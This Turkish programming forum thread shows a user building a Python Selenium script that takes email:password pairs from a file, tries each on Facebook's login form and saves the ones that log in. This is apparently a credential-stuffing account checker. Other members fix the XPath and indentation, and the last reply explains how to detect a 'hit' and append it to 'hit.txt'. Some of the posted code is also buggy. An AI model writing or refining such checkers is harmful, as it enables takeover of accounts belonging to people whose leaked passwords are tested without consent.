• 11-12-2022, 17:03:30
    #1
    Selamlar Python selenium ile Facebook'da siteye giriş için bir kod yazmaya çalışıyorum fakat en sondaki loginbutton kısmında giriş yap butonuna tıklaması gerekirken, tıklamadan uygulamayı durduruyor. butonun id'si de doğru niye böyle oldu anlayamadım.


    from selenium import webdriver
    import time
    from selenium.webdriver.common.by import By
    
    driver = webdriver.Chrome()
    
    with open("facebook.com.txt") as f:
    email, password = f.readline().strip().split(":")
    
    driver.maximize_window()
    driver.get("http://facebook.com/")
    
    # giriş yapılabilen hesapları tutan bir dosya
    calisan_hesaplar = open("calisanhesaplar.txt", "w")
    
    
    username = driver.find_element(By.XPATH, "//*[@id='email']")
    username.send_keys(email)
    
    passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
    passwd.send_keys(password)
    
    
    
    loginbutton = driver.find_element(By.XPATH, "//*[@id='u_0_5_3k']")
    loginbutton.click()
  • 11-12-2022, 17:05:40
    #2
    loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
    loginbutton.click()
  • 11-12-2022, 17:09:43
    #3
    XPATH yerine name, id, class_name'de kullanabilirsin. XPATH kullanırken Full XPATH kopyalamanı tavsiye ederim.
  • 11-12-2022, 17:19:26
    #4
    YenilenPehlivan adlı üyeden alıntı: mesajı görüntüle
    XPATH yerine name, id, class_name'de kullanabilirsin. XPATH kullanırken Full XPATH kopyalamanı tavsiye ederim.
    Cevaplarınız için teşekkür ederim name class vs. denemiştim ama olmuyordu şuan hata vermeden kapandığına göre oldu sanırım
  • 11-12-2022, 17:21:06
    #5
    trendkripto adlı üyeden alıntı: mesajı görüntüle
    Cevaplarınız için teşekkür ederim name class vs. denemiştim ama olmuyordu şuan hata vermeden kapandığına göre oldu sanırım
    Bazen o anlama gelmiyor olabilir bana kalırsa login yaptırdıktan sonra işlem sonuna bir adet input() eklemenizi tavsiye ederim hata almışsa bile net şekilde görmenizi sağlar.
    İyi çalışmalar
  • 11-12-2022, 19:09:28
    #6
    @YenilenPehlivan; Hocam rahatsız ediyorum kusura bakmayın ama. Ben şimdi kodu yazdım teker teker hesapları deniyor sonra bi hesaba başarılı bi şekilde giriş yapıyor. Giriş yapabildiğini anlamayıp deneme yapmaya devam ediyor. Girilen hesabın bilgilerini txt dosyasına nasıl yazdıracağım?

    from selenium import webdriver
    import time
    from selenium.webdriver.common.by import By
    
    driver = webdriver.Chrome()
    
    # Open the file containing the login information
    with open("facebook.com.txt") as f:
    # Read each line in the file
        for line in f:
    # Split the line into email and password
            email, password = line.strip().split(":")
    
    # Attempt to log in
            try:
    
    driver.maximize_window()
    driver.get("http://facebook.com/")
    
    calisan_hesaplar = open("calisanhesaplar.txt", "w")
    
    username = driver.find_element(By.XPATH, "//*[@id='email']")
    username.send_keys(email)
    
    passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
    passwd.send_keys(password)
    
    loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
    loginbutton.click()
    
    # If login is successful, write the email and password to the "calisanhesaplar.txt" file
                calisan_hesaplar.write = f"{email}:{password}\n"
            except:
    # If login is unsuccessful, do nothing and move on to the next login attempt
                pass
    
    # Close the "calisanhesaplar.txt" file
    calisan_hesaplar.close()
  • 11-12-2022, 20:54:16
    #7
    Kimlik doğrulama veya yönetimden onay bekliyor.
    Boşluklara girintilere dikkat edin. bir yerde try eksikti ekledim girintileri düzenledim

    from selenium import webdriver
    import time
    from selenium.webdriver.common.by import By
     
    driver = webdriver.Chrome()
    with open("facebook.com.txt") as f:
    
        for line in f:
    
            email, password = line.strip().split(":")
     
            try:
     
                    driver.maximize_window()
                    driver.get("http://facebook.com/")
     
                    calisan_hesaplar = open("calisanhesaplar.txt", "w")
     
                    username = driver.find_element(By.XPATH, "//*[@id='email']")
                    username.send_keys(email)
     
                    passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
                    passwd.send_keys(password)
     
                    loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
                    loginbutton.click()
     
                    calisan_hesaplar.write = f"{email}:{password}\n"
                    
           except:
                   pass
    calisan_hesaplar.close()
  • 11-12-2022, 22:02:09
    #8
    TheOne adlı üyeden alıntı: mesajı görüntüle
    Boşluklara girintilere dikkat edin. bir yerde try eksikti ekledim girintileri düzenledim

    from selenium import webdriver
    import time
    from selenium.webdriver.common.by import By
     
    driver = webdriver.Chrome()
    with open("facebook.com.txt") as f:
    
        for line in f:
    
            email, password = line.strip().split(":")
     
            try:
     
                    driver.maximize_window()
                    driver.get("http://facebook.com/")
     
                    calisan_hesaplar = open("calisanhesaplar.txt", "w")
     
                    username = driver.find_element(By.XPATH, "//*[@id='email']")
                    username.send_keys(email)
     
                    passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
                    passwd.send_keys(password)
     
                    loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
                    loginbutton.click()
     
                    calisan_hesaplar.write = f"{email}:{password}\n"
                    
           except:
                   pass
    calisan_hesaplar.close()
    Hala aynı hocam düzelmemiş çözemedim nasıl olacağını
  • 11-12-2022, 22:12:38
    #9
    trendkripto adlı üyeden alıntı: mesajı görüntüle
    @YenilenPehlivan; Hocam rahatsız ediyorum kusura bakmayın ama. Ben şimdi kodu yazdım teker teker hesapları deniyor sonra bi hesaba başarılı bi şekilde giriş yapıyor. Giriş yapabildiğini anlamayıp deneme yapmaya devam ediyor. Girilen hesabın bilgilerini txt dosyasına nasıl yazdıracağım?

    from selenium import webdriver
    import time
    from selenium.webdriver.common.by import By
    
    driver = webdriver.Chrome()
    
    # Open the file containing the login information
    with open("facebook.com.txt") as f:
    # Read each line in the file
        for line in f:
    # Split the line into email and password
            email, password = line.strip().split(":")
    
    # Attempt to log in
            try:
    
    driver.maximize_window()
    driver.get("http://facebook.com/")
    
    calisan_hesaplar = open("calisanhesaplar.txt", "w")
    
    username = driver.find_element(By.XPATH, "//*[@id='email']")
    username.send_keys(email)
    
    passwd = driver.find_element(By.XPATH, "//*[@id='pass']")
    passwd.send_keys(password)
    
    loginbutton = driver.find_element(By.XPATH, "/html/body/div[1]/div[1]/div[1]/div/div/div/div[2]/div/div[1]/form/div[2]/button")
    loginbutton.click()
    
    # If login is successful, write the email and password to the "calisanhesaplar.txt" file
                calisan_hesaplar.write = f"{email}:{password}\n"
            except:
    # If login is unsuccessful, do nothing and move on to the next login attempt
                pass
    
    # Close the "calisanhesaplar.txt" file
    calisan_hesaplar.close()
    Hocam geç gördüm kusura bakmayın kontrol etme check etme mantığı şu şekilde çalışacak if else kullanmanız gerekecek örnek veriyorum giriş yaptı belirdiğiniz herhangi bir yazı olur, örnek olarak anasayfa yazısı olsun belirlediğiniz yerde yerde anasayfa yazısını arayacak anasayfa yazısı bulunursa bunu hit kabul edip terminale yazdırabilirisiniz.
    dosya kaydetme işlemi için aşağıda verdiğim kodu kullanabilirsiniz.
    file = open('hit.txt','a')
    file.write(email + ':' + password+'\n')
    seklinde kaydettirebilirsiniz onun dısında anasayfa yazısı bulunmaz ise else kısmına geçip fail diye örnek vereyim print('FAİL: ' +email+':'+password] şeklinde yazdırabilirsiniz.